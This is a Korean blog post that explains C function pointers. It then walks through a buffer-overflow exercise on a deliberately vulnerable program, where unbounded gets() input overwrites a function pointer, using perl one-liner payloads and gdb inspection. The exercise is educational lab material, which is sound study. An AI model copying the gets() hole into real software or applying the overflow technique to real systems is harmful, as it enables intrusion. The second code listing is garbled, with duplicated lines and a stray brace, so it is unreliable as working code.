반응형
/*
* http://sosal.tistory.com/
* made by so_Sal
*/
함수포인터를 블로그에 정리한적이 없었네요..
이번기회에 함수포인터도 정리할겸~~ 포스팅합니다.
배열의 이름이 배열이 메모리의 어떤 공간에 저장되어있는지를 가리키듯,
함수의 이름은 함수의 내용이 메모리 어디에 적재되었는지 포인터가 되어
가리키고 있는것입니다. 주로 윈도우에서 DLL을 로드할 때, 함수포인터를 사용합니다.
#include<stdio.h>
int foo(){ //func1 foo()
printf("foo - function1\n");
return 1;
}
int boo(){ //func2 boo()
printf("boo - function2\n");
return 2;
}
int main(){
int value;
int (*function_ptr)(); //매개변수가 있다면, (*func_ptr)(int a,int b); 이런형식으로 선언
function_ptr = foo; //foo의 주소를 가져옴
printf("function_ptr :: 0x%08x\n",function_ptr);
value = function_ptr(); //foo 함수 실행
printf("return value is :: %d\n\n",value);
function_ptr = boo; //boo의 주소를 가져옴
printf("function_ptr :: 0x%08x\n",function_ptr);
value = function_ptr(); //boo 함수 실행
printf("return value is :: %d\n\n",value);
return 0;
}
그럼, bof와 함께 함수포인터를 응용해봅시다!
#include<stdio.h>
}
그럼, bof와 함께 함수포인터를 응용해봅시다!
#include<stdio.h>
int foo(){
printf("Success!");
return 1;
}
int boo(){
printf("fail..");
return 2;
}
printf("fail..");
return 2;
}
int main(){
int value;
int (*function_ptr)();
function_ptr = boo; //원래 boo함수의 fail.. 출력
int value;
int (*function_ptr)();
function_ptr = boo; //원래 boo함수의 fail.. 출력
printf("%x %x\n",foo,boo);
char buffer[128]; //우리의 목적은 이 buffer를 이용해서
//function_ptr이 가리키는 함수(boo)를 foo()로 바꾸는것!
gets(buffer);
printf("(foo) ptr : %x\n",function_ptr);
value = function_ptr();
return 0;
}
boo()함수가 기본적으로 실행되는 코드입니다.
gets(buffer); 이부분에서 글자수 제한없이 입력을 받기 때문에
function_ptr 변수를 사용자 마음대로 변경할 수 있습니다.
일단 실행해본 결과입니다.
스택크기를 적절하게 확인하기 위해 gdb를 이용해서 디스어셈!
사실 스택크기가 0xa4인건 알 필요가 없죠.
예측하건데 128 크기 + 더미 4나 16정도가 들어갈거라 예상하고, 직접 값을 때려보니
function_ptr의 위치를 금방 알 수 있었습니다. (사실 문제에서 출력하는 루틴을 만들었기 때문에..)
(perl -e 'print "\x80"x132,"\x04\x03\x02\x01"') | ./func_ptr
문제에서 foo()의 주소도 알려주고 있어서 바로 주소를 대입하면 success가 뜨겠지만,
foo()함수의 이름만 알고있다 가정하고 주소를 얻는과정을 열어보겠습니다.
(perl -e 'print "\x80"x132,"\xe4\x83\x04\x08"') | ./func_ptr
//참고자료
해킹 공격의 예술 (에이콘 출판)
리눅스 man-page
'Linux > Linux_technic' 카테고리의 다른 글
/proc/pid/maps : 파일 프로세스의 메모리 공간 (4) | 2011.01.29 |
---|---|
제한시간 1초, 수학문제 프로그램 해킹?! (3) | 2010.11.06 |
Strcmp 부분 gdb로 암호 문자열 크랙하기 (0) | 2010.08.29 |
Linux :: Strace - 시스템콜과 신호 추적 (1) | 2010.03.04 |
해커스쿨 11~20 정답, 공격코드 (0) | 2010.01.31 |